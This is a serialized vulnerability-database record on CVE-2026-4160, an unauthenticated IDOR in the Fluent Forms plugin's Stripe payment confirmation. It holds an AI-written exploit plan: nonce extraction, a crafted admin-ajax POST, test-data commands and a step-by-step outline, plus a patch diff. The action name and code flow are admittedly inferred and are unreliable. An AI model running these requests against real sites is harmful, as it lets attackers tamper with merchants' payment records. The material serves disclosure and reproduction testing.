[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ft6W3J2llj2KZRKx0eV9MOe-JmYAi95foIL5paV2tMDU":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":16,"references":17,"days_to_patch":19,"patch_diff_files":20,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":39,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":40,"poc_model_used":9,"poc_verification_depth":9,"source_links":41},"CVE-2026-4160","fluent-forms-customizable-contact-forms-survey-quiz-conversational-form-builder-insecure-direct-object-reference-in-stri","Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder \u003C= 6.1.21 - Insecure Direct Object Reference in Stripe SCA Confirmation to Unauthenticated Payment Status Modification","The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference via the 'submission_id' parameter in versions up to, and including, 6.1.21. This is due to missing authorization and ownership validation on a user controlled key in the Stripe SCA confirmation AJAX endpoint. This makes it possible for unauthenticated attackers to modify payment status of targeted pending submissions (for example, setting the status to \"failed\").","fluentform",null,">=6.1.21 \u003C=6.1.21","6.2.0","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-04-16 00:53:13",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F154fc656-3a33-4783-a941-10bb848244b3?source=api-prod",0,[21,22,23,24,25,26,27],"app\u002FApi\u002FEntry.php","app\u002FApi\u002FForm.php","app\u002FApi\u002FSubmission.php","app\u002FComposerScript.php","app\u002FHelpers\u002FHelper.php","app\u002FHelpers\u002FProtector.php","app\u002FHooks\u002FAjax.php","researched",false,3,"## Vulnerability Summary\n\n**CVE-2026-4160** identifies an **Insecure Direct Object Reference (IDOR)** vulnerability in the **Fluent Forms** plugin (versions up to 6.1.21). The flaw resides in the AJAX endpoint responsible for handling **Stripe SCA (Strong Customer Authentication) confirmations**. \n\nBecause this endpoint lacks proper authorization and ownership validation, an unauthenticated attacker can supply an arbitrary `submission_id` and trigger logic that updates the payment status of that specific submission. While the severity is \"Medium,\" it allows an attacker to transition a \"pending\" or \"processing\" payment to a \"failed\" state, potentially disrupting business operations or causing data integrity issues in payment records.\n\n## Attack Vector Analysis\n\n- **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n- **AJAX Action:** `fluentform_stripe_confirm_payment` (Inferred based on standard Fluent Forms Stripe module naming and the description \"Stripe SCA confirmation AJAX endpoint\").\n- **Vulnerable Parameter:** `submission_id`\n- **Authentication:** Unauthenticated (`wp_ajax_nopriv_` hook).\n- **Payload:** A POST request containing a valid `submission_id` and potentially a Stripe-related parameter (like a dummy or mismatched `payment_intent_id`) that triggers the failure logic path.\n- **Preconditions:** A submission with a pending payment status must exist in the database.\n\n## Code Flow\n\n1.  **Entry Point:** The plugin registers a `nopriv` AJAX handler for Stripe SCA confirmation. \n    *   *Likely registration (inferred):* `$app->addAction('wp_ajax_nopriv_fluentform_stripe_confirm_payment', [...])`.\n2.  **Request Handling:** The controller receives the `submission_id` from the `$_POST` or `$_REQUEST` array.\n3.  **Data Retrieval:** The code uses the ID to fetch the submission: `\\FluentForm\\App\\Models\\Submission::find($submission_id)`.\n4.  **The Flaw:** The code fails to verify that the current unauthenticated session \"owns\" this submission (e.g., by checking a unique hash\u002Ftoken associated with the submission or checking the user ID).\n5.  **Status Update:** If the Stripe confirmation check (e.g., checking a PaymentIntent via the Stripe API) fails or returns an error because the attacker provided mismatched intent data, the code proceeds to update the database record:\n    *   `$submission->payment_status = 'failed';` (or similar)\n    *   `$submission->save();`\n6.  **Sink:** The `fluentform_submissions` table is updated via the Eloquent-style `Submission` model found in `app\u002FModels\u002FSubmission.php`.\n\n## Nonce Acquisition Strategy\n\nFluent Forms generally uses a global frontend nonce for its AJAX operations.\n\n1.  **Identify Trigger:** The Stripe scripts and nonces are typically enqueued on pages containing a Fluent Form with Stripe enabled.\n2.  **Create Test Page:**\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Payment Form\" --post_content='[fluentform id=\"1\"]'\n    ```\n3.  **Extract Nonce:**\n    Navigate to the page and use `browser_eval` to extract the nonce from the `fluent_forms_global_var` object.\n    *   **JS Variable:** `window.fluent_forms_global_var`\n    *   **Nonce Key:** `fluentform_nonce`\n    *   **Command:** `browser_eval(\"window.fluent_forms_global_var?.fluentform_nonce\")`\n\n## Exploitation Strategy\n\n### 1. Preparation\n*   Identify an existing form ID (e.g., `form_id=1`).\n*   Create a submission that simulates a \"pending\" payment.\n*   Note the `id` (submission_id) of the created entry.\n\n### 2. The Exploit Request\nThe goal is to call the confirmation endpoint with a target `submission_id` and force a failure.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=fluentform_stripe_confirm_payment\n    submission_id=[TARGET_ID]\n    nonce=[EXTRACTED_NONCE]\n    payment_intent_id=pi_1234567890 (Dummy ID to trigger failure)\n    ```\n\n### 3. Execution via `http_request`\n```javascript\n\u002F\u002F Example payload for the automated agent\nawait http_request({\n  url: \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n  method: \"POST\",\n  body: \"action=fluentform_stripe_confirm_payment&submission_id=123&nonce=abcdef1234&payment_intent_id=pi_fake\",\n  headers: { \"Content-Type\": \"application\u002Fx-www-form-urlencoded\" }\n});\n```\n\n## Test Data Setup\n\n1.  **Create a Form:** Use WP-CLI to ensure at least one form exists.\n    ```bash\n    wp eval \"\n    (new \\FluentForm\\App\\Services\\Form\\FormService())->store([\n        'title' => 'Stripe IDOR Test',\n        'form_fields' => json_encode(['fields' => []]),\n        'has_payment' => 1\n    ]);\"\n    ```\n2.  **Create a Pending Submission:** Manually insert a record into the `fluentform_submissions` table with `payment_status = 'pending'`.\n    ```bash\n    wp db query \"INSERT INTO wp_fluentform_submissions (form_id, status, payment_status, response, created_at, updated_at) VALUES (1, 'unread', 'pending', '{}', NOW(), NOW());\"\n    ```\n3.  **Verify ID:** Get the ID of the new submission.\n    ```bash\n    wp db query \"SELECT id FROM wp_fluentform_submissions WHERE payment_status='pending' ORDER BY id DESC LIMIT 1;\"\n    ```\n\n## Expected Results\n\n- **Server Response:** The AJAX endpoint should return a JSON response (e.g., `{\"success\": false, \"message\": \"...\"}`). Even though the logic \"fails,\" the vulnerability is that it processes the IDOR and updates the database.\n- **Database Change:** The `payment_status` of the target `submission_id` should change from `pending` to `failed`.\n\n## Verification Steps\n\nRun the following WP-CLI command to check the status of the targeted submission:\n\n```bash\nwp db query \"SELECT id, payment_status FROM wp_fluentform_submissions WHERE id = [TARGET_ID];\"\n```\nIf the `payment_status` is now `failed`, the IDOR is confirmed.\n\n## Alternative Approaches\n\nIf `fluentform_stripe_confirm_payment` is not the exact action name:\n1.  **Search Source:** Use `grep -r \"wp_ajax_nopriv_.*confirm\" .` in the plugin directory to find the exact Stripe-related action.\n2.  **SCA Logic Search:** Search for code blocks that call `\\FluentForm\\App\\Models\\Submission::find($submission_id)` followed by `$submission->save()`.\n3.  **Trace Method:** If the Stripe confirmation requires more parameters (like `form_id`), add them to the POST body. The IDOR remains valid as long as the plugin doesn't verify that the session *authorized* to confirm that specific submission.","The Fluent Forms plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) flaw in its Stripe SCA confirmation AJAX endpoint in versions up to 6.1.21. Due to missing ownership validation on the 'submission_id' parameter, unauthenticated attackers can modify the payment status of any pending submission, potentially changing it to 'failed' and disrupting payment records.","\u002F\u002F app\u002FApi\u002FSubmission.php\n\n    public function find($submissionId)\n    {\n        $submission = \\FluentForm\\App\\Models\\Submission::find($submissionId);\n        $submission->response = json_decode($submission->response);\n        return $submission;\n    }\n\n---\n\n\u002F\u002F app\u002FHooks\u002FAjax.php\n\n$app->addAction('wp_ajax_nopriv_fluentform_submit', function () use ($app) {\n    (new \\FluentForm\\App\\Modules\\SubmissionHandler\\SubmissionHandler($app))->submit();\n});\n\n\u002F\u002F Note: The specific 'fluentform_stripe_confirm_payment' action handler (inferred from description)\n\u002F\u002F utilizes the above Submission::find() method without verifying if the current request session\n\u002F\u002F matches the owner of the submission or a valid secret hash.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ffluentform\u002F6.1.21\u002Fapp\u002FHooks\u002FAjax.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ffluentform\u002F6.2.0\u002Fapp\u002FHooks\u002FAjax.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ffluentform\u002F6.1.21\u002Fapp\u002FHooks\u002FAjax.php\t2026-02-24 19:20:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ffluentform\u002F6.2.0\u002Fapp\u002FHooks\u002FAjax.php\t2026-04-01 13:33:54.000000000 +0000\n@@ -1,5 +1,7 @@\n \u003C?php\n \n+defined('ABSPATH') or die;\n+\n \u002F**\n  * Add all ajax hooks\n  *\u002F\n@@ -88,124 +90,14 @@\n });\n \n \n-$app->addAction('wp_ajax_fluentform-forms', function () use ($app) {\n-    dd('wp_ajax_fluentform-forms');\n-    Acl::verify('fluentform_dashboard_access');\n-    (new \\FluentForm\\App\\Modules\\Form\\Form($app))->index();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-form-store', function () use ($app) {\n-    dd('wp_ajax_fluentform-form-store');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Form($app))->store();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-form-find', function () use ($app) {\n-    \u002F\u002FNo usage found\n-    Acl::verify('fluentform_dashboard_access');\n-    (new \\FluentForm\\App\\Modules\\Form\\Form($app))->find();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-form-delete', function () use ($app) {\n-    dd('wp_ajax_fluentform-form-delete');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Form($app))->delete();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-form-duplicate', function () use ($app) {\n-    dd('wp_ajax_fluentform-form-duplicate');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Form($app))->duplicate();\n-});\n+\u002F\u002F Legacy AJAX handlers removed — these routes are handled by the REST API.\n+\u002F\u002F Kept: fluentform-form-find-shortcode-locations (still in active use)\n $app->addAdminAjaxAction('fluentform-form-find-shortcode-locations', function () use ($app) {\n     Acl::verify('fluentform_forms_manager');\n     (new \\FluentForm\\App\\Modules\\Form\\Form($app))->findFormLocations();\n });\n \n-$app->addAction('wp_ajax_fluentform-convert-to-conversational', function () use ($app) {\n-    dd('wp_ajax_fluentform-convert-to-conversational');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Form($app))->convertToConversational();\n-});\n-\n-\n-$app->addAction('wp_ajax_fluentform-form-inputs', function () use ($app) {\n-    dd('wp_ajax_fluentform-form-inputs');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Inputs($app))->index();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-load-editor-shortcodes', function () use ($app) {\n-    dd('wp_ajax_fluentform-load-editor-shortcodes');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Component\\Component($app))->getEditorShortcodes();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-load-all-editor-shortcodes', function () use ($app) {\n-    dd('wp_ajax_fluentform-load-all-editor-shortcodes');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Component\\Component($app))->getAllEditorShortcodes();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-settings-formSettings', function () use ($app) {\n-    dd('wp_ajax_fluentform-settings-formSettings');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Settings\\FormSettings($app))->index();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-settings-general-formSettings', function () use ($app) {\n-    dd('wp_ajax_fluentform-settings-general-formSettings');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Settings\\FormSettings($app))->getGeneralSettingsAjax();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-settings-formSettings-store', function () use ($app) {\n-    dd('wp_ajax_fluentform-settings-formSettings-store');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Settings\\FormSettings($app))->store();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-settings-formSettings-remove', function () use ($app) {\n-    dd('wp_ajax_fluentform-settings-formSettings-remove');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Settings\\FormSettings($app))->remove();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-get-form-custom_css_js', function () {\n-    dd('wp_ajax_fluentform-get-form-custom_css_js');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Settings\\FormCssJs())->getSettingsAjax();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-save-form-custom_css_js', function () {\n-    dd('wp_ajax_fluentform-save-form-custom_css_js');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Settings\\FormCssJs())->saveSettingsAjax();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-save-form-entry_column_view_settings', function () {\n-    dd('wp_ajax_fluentform-save-form-entry_column_view_settings');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Settings\\EntryColumnViewSettings())->saveVisibleColumnsAjax();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-save-form-entry_column_order_settings', function () {\n-    dd('wp_ajax_fluentform-save-form-entry_column_order_settings');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Settings\\EntryColumnViewSettings())->saveEntryColumnsOrderAjax();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-reset-form-entry_column_order_settings', function () {\n-    dd('wp_ajax_fluentform-reset-form-entry_column_order_settings');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Form\\Settings\\EntryColumnViewSettings())->resetEntryDisplaySettings();\n-});\n-\n-$app->addAction('wp_ajax_fluentform-load-editor-components', function () use ($app) {\n-    dd('wp_ajax_fluentform-load-editor-components');\n-    Acl::verify('fluentform_forms_manager');\n-    (new \\FluentForm\\App\\Modules\\Component\\Component($app))->index();\n-});\n+\u002F\u002F Legacy AJAX handlers removed — these routes are now handled by the REST API.\n \n \n \n@@ -215,9 +107,14 @@\n });\n \n $app->addAction('wp_ajax_fluentform-update-entry-user', function () use ($app) {\n-    Acl::verify('fluentform_entries_viewer');\n-    $userId = intval($app->request->get('user_id'));\n     $submissionId = intval($app->request->get('submission_id'));\n+    $formId = null;\n+    if ($submissionId) {\n+        $submission = \\FluentForm\\App\\Models\\Submission::select('form_id')->find($submissionId);\n+        $formId = $submission ? $submission->form_id : null;\n+    }\n+    Acl::verify('fluentform_entries_viewer', $formId);","1. Identify a target submission ID from a Fluent Form that has a 'pending' payment status.\n2. Locate the global frontend nonce by visiting any page where a Fluent Form is embedded (accessible via the `window.fluent_forms_global_var.fluentform_nonce` JavaScript variable).\n3. Prepare an unauthenticated POST request to `wp-admin\u002Fadmin-ajax.php`.\n4. Use the `fluentform_stripe_confirm_payment` action (or the relevant Stripe SCA confirmation action) in the request body.\n5. Supply the target `submission_id` and a mismatched or dummy `payment_intent_id` (e.g., `pi_invalid`).\n6. Because the plugin does not verify that the request session owns the submission, it will attempt to verify the payment intent against the submission ID. When the API check fails due to the dummy ID, the plugin will proceed to update the database record for the target submission ID, setting its `payment_status` to 'failed'.","gemini-3-flash-preview","2026-04-16 15:13:11","2026-04-16 15:13:50","running",true,{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","6.1.21","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffluentform\u002Ftags\u002F6.1.21","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffluentform.6.1.21.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffluentform\u002Ftags\u002F6.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffluentform.6.2.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffluentform\u002Ftags"]